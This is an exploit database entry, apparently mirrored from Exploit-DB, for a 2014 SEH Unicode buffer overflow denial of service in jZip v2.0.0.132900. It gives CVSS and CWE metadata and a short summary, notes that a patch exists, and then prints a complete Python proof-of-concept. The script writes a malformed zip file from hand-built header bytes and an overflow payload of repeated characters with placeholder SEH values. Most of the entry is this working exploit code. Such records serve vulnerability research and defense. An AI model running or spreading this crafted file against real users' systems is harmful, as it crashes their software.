seh unicode buffer overflow (DOS)

vendor:

jZip

by:

motaz reda

7,8

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: jZip

Affected Version From: jZip v2.0.0.132900

Affected Version To: jZip v2.0.0.132900

Patch Exists: YES

Related CWE: N/A

CPE: a:jzip:jzip

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7

2014

seh unicode buffer overflow (DOS)

This exploit is a SEH Unicode buffer overflow vulnerability in jZip v2.0.0.132900. The vulnerability is triggered when a specially crafted zip file is opened, causing a denial of service. The exploit author created a zip file with a payload of 862 A characters, followed by two 4-byte NSEH and SEH values, and then 3198 D characters. The payload is then followed by a .txt extension.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

#!/usr/bin/python
######################################################
# Exploit title: seh unicode buffer overflow (DOS)
# Date: 16/04/2014
# Exploit Author: motaz reda [motazkhodair[at]gmail.com]
# Software Link : http://www.jzip.com/
# Version: jZip v2.0.0.132900
# Tested On: Windows 7 ultimate
########################################################

import sys, os

filename = "vuln.zip"


buffer = "\x50\x4B\x03\x04\x14\x00\x00"
buffer += "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
buffer += "\x00\x00\x00\x00\x00\x00\x00\x00"
buffer += "\xe4\x0f"
buffer += "\x00\x00\x00"

eo = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
eo += "\x12\x10\x00\x00"
eo += "\x02\x10\x00\x00"
eo += "\x00\x00"

cdf = "\x50\x4B\x01\x02\x14\x00\x14"
cdf += "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
cdf += "\x00\x00\x00\x00\x00\x00\x00\x00\x00"
cdf += "\xe4\x0f"
cdf += "\x00\x00\x00\x00\x00\x00\x01\x00"
cdf += "\x24\x00\x00\x00\x00\x00\x00\x00"

payload = "A" * 862
payload += "\x42\x42" # NSEH
payload += "\x42\x42" # SEH
payload += "D" * 3198
payload += ".txt"


file  = open(filename, "w")

zipfile = buffer + payload + cdf + payload + eo

file.write(zipfile)
file.close()